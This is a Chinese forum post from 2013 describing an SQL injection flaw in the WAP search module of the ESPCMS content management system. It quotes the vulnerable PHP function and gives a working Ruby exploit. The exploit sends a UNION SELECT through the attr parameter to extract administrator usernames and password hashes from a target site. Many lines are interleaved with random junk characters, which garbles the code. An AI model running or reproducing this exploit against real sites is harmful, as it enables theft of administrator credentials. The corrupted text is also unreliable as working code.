找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2408|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节4 h# ^- f: f. }7 |6 s- `, c
0×2 PoC
1 |5 V, D1 I$ Y& O7 t* [8 P# f
% [& o1 \% ], R# z+ y$ @5 j9 h+ N
7 f: h% F% P4 m+ O0 C
0×0 漏洞概述
( J5 R( q9 A5 o7 x6 q& \! j' y, _8 R3 Y- J( R
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。! t$ ]1 U& @2 R
其在处理传入的参数时考虑不严谨导致SQL注入发生
- ~, k4 b) h4 p/ V: Z* f# R0 R1 l$ k- o- M1 k( Z/ v; [" Z

" m; N( Q, U1 C; O9 E0 S0×1 漏洞细节; q! ^3 F) U+ V7 o1 L
3 O* J5 P$ Z1 T/ a+ S" {; j4 s) f
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。; |5 ~, w6 ^& W4 H( [! O
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。1 t! ~4 r' S! R- l$ E
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
9 i. Y5 o$ D1 ^
- {# E4 L( C9 U& E+ G3 Q5 ~在/interface/3gwap_search.php文件的in_result函数中:
1 }/ c8 c) |; E! {  ^8 B6 Q- C; u7 T+ K4 U3 x7 k( m
4 H0 P4 Y' d8 C& `3 n4 O7 E% K

0 K" r) Z& [8 M       function in_result() {: S( t# h3 Y" z0 @7 _: \- _
            ... ... ... ... ... ... ... ... ...
. `7 h" U8 {2 P4 k  p            $urlcode = $_SERVER[ 'QUERY_STRING '];
; G/ K$ }# t8 c! U& b            parse_str(html_entity_decode($urlcode), $output);/ B* U5 B& `# i, L- Y0 R

1 X# D! i4 \3 W$ e. _8 f            ... ... ... ... ... ... ... ... ..." b( j9 I1 I* v# o9 Q$ @
            if (is_array($output['attr' ]) && count($output['attr']) > 0) {
1 A! S; C2 w$ ~! q
- J5 W" R  ]8 u& @# @, Q                  $db_table = db_prefix . 'model_att';  Y2 o, s/ `% O6 `8 A3 q- S7 N

% O# F8 N. @# t( u                   foreach ($output['attr' ] as $key => $value) {
) K2 t! T, x  ?; j3 [$ ~+ S3 i, e                         if ($value) {
% J+ @5 I' J( H( X0 Y- R6 X& B) ~/ l' x& M  Z
                              $key = addslashes($key);
1 I/ G2 [- b; ^$ B$ [& v6 o4 J                              $key = $this-> fun->inputcodetrim($key);8 v  q) z& ?& J2 R
                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";8 m" R# H- x+ [9 n6 X
                              $countnum = $this->db_numrows($db_table, $db_att_where);. f9 ?) g6 J7 g) H* W
                               if ($countnum > 0) {$ R3 I* S  r1 |' H1 N
                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
* B  }" S, F* w2 S& a                              }; |6 k$ F6 K8 h( N
                        }
& P2 L1 [+ I6 U$ V5 ]$ ~; P) n1 I( |                  }; I7 [+ c$ u# l9 E
            }0 y3 e& d. F. @7 U) b, h
            if (!empty ($keyword) && empty($keyname)) {3 x  f' _8 s6 t! r6 I, z
                  $keyname = 'title';
0 Y) J! j4 v& q& `' B! X  Y                  $db_where.= " AND a.title like '%$keyword%'" ;, u4 U9 ?7 ^8 y) a3 b
            } elseif (!empty ($keyword) && !empty($keyname)) {
2 Q' K/ a. o% W! l+ ~2 M& _( u                  $db_where.= " AND $keyname like '% $keyword%'";$ B2 M; l6 o2 e9 L/ a: p
            }
' v8 H3 l: M8 p/ b( p6 `            $pagemax = 15;. c( d! C$ _$ G
+ t2 p. e8 O7 l( n0 D6 V
            $pagesylte = 1;
" x) K2 d* [& }% B& g& W, {& O8 S0 o7 _; I3 r, M3 w( K
             if ($countnum > 0) {
+ K+ W3 h0 I9 c- [! ^, f2 d
  O2 c9 k2 h" ^( U0 m                  $numpage = ceil($countnum / $pagemax);3 w% f% C# o6 o. D: `; y
            } else {
* Y+ d- }; V6 s) W' t" k1 Z5 H                  $numpage = 1;
' X" q. h$ t; ~' X3 ?0 U            }
% R1 A; S6 ^; B( p  A            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;% S! J2 q4 B* z7 H+ @1 w4 Z
            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
; z7 ]+ P0 ?+ r% \% k$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);8 o- B- E' q6 V9 m
            ... ... ... ... ... ... ... ... ...
0 r# o3 ]6 R2 v' B* Z      }) Q' X' h2 z5 u: P9 \
$ ~* l' l- R" ]$ s9 X! e2 x. X( [
3 X* ~8 ?. L5 A$ S8 S
0×2 PoC- V5 t  a- y) u: @- ~" w- w
; T# I0 N0 l) @  W) s# {, f/ P
% ~. s1 @9 L' }2 i3 ^: Z

' u0 e* f/ G4 v' e# G* D  w& i0 L1 Hrequire "net/http"
$ u2 B- D2 U6 N0 J" L  h& e( \5 ?: O0 t, _8 e; O0 P
def request(method, url)
. B+ A* Q5 W5 S  |! e6 Y3 C    if method.eql?("get")
7 z: c- B" d* y. |. A& ^        uri = URI.parse(url)
3 O8 ~; o1 l: I7 [( c        http = Net::HTTP.new(uri.host, uri.port)
5 m/ Q6 ?  q& A2 g, x& n        response = http.request(Net::HTTP::Get.new(uri.request_uri))
8 J, K5 u0 l; ~+ t" W        return response
4 b; F" N  u& A$ j4 Q    end' [1 K  p( I7 B
end' W- A) K+ I! i5 k; X$ K5 b' B

9 A2 w$ l# @0 N* H  `; |- v' o: d/ fdoc =<<HERE$ t( P4 a! F% S9 S3 Y
-------------------------------------------------------2 C5 Y2 E' A# {9 V7 m
Espcms Injection Exploit; q) j; k  {; \0 b; B+ {7 ~
Author:ztz
, Z1 B" k9 h4 T$ t4 x! _" YBlog:http://ztz.fuzzexp.org/
" m6 V& q7 b; p7 g8 }$ r) ?$ L-------------------------------------------------------
& R7 i7 \% A/ _' B7 c# T" n1 ]9 i) _( k
HERE8 z) D7 p  s+ W! N

- o7 f4 J; p7 }5 m4 j! U0 `8 ousage =<<HERE
: B" [  o) v5 E5 \Usage:         ruby #{$0} host port path1 k* x+ @" a+ Y2 n$ k
example:     ruby #{$0} www.target.com 80 /2 o- s' x+ F- f2 Q' F& P
HERE
5 C, |+ X2 k8 A0 z5 l* w& v3 t& @3 S
; ^5 C4 K3 Q( A0 P6 h/ v% `puts doc9 w" L2 t0 Q* x+ p6 l8 Z: }
if ARGV.length < 3- R% F6 s( \$ N2 ?: r
    puts usage) a7 ^+ I& `0 ?& t& b; z1 l
else
# r  ]4 g- w4 v* h3 f+ w    $host = ARGV[0]
4 Q7 c( r5 o% E, U2 K1 T$ l    $port = ARGV[1]
  v5 i7 T6 T/ Z$ ]    $path = ARGV[2]; a7 k! ~0 {# k2 v+ q) L: M. o
; s& [% ^" `4 J6 N; i
    puts "
  • send request..."( o! p0 _" M6 K: e! e& a  R7 E6 m  A
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
    1 R; ^8 J: N8 P+ gattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
    6 Q; p5 I' _* i5 p, q& _2 d. J,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27$ f5 _7 ^. Z: }! P/ q
    ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"$ x6 S& \* l% Y1 P; J' h2 N
        response = request("get", url)) u) J3 C$ p: {5 e3 B0 [
        result = response.body.scan(/\w+&\w{32}/)
    ( L' z$ d, _" E" X8 p3 N    puts result
    * Z9 Z, U1 j& i0 Nend1 j- x: ?% G+ n: g: j8 u7 D
    ' `, Z2 X9 F% n: A
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表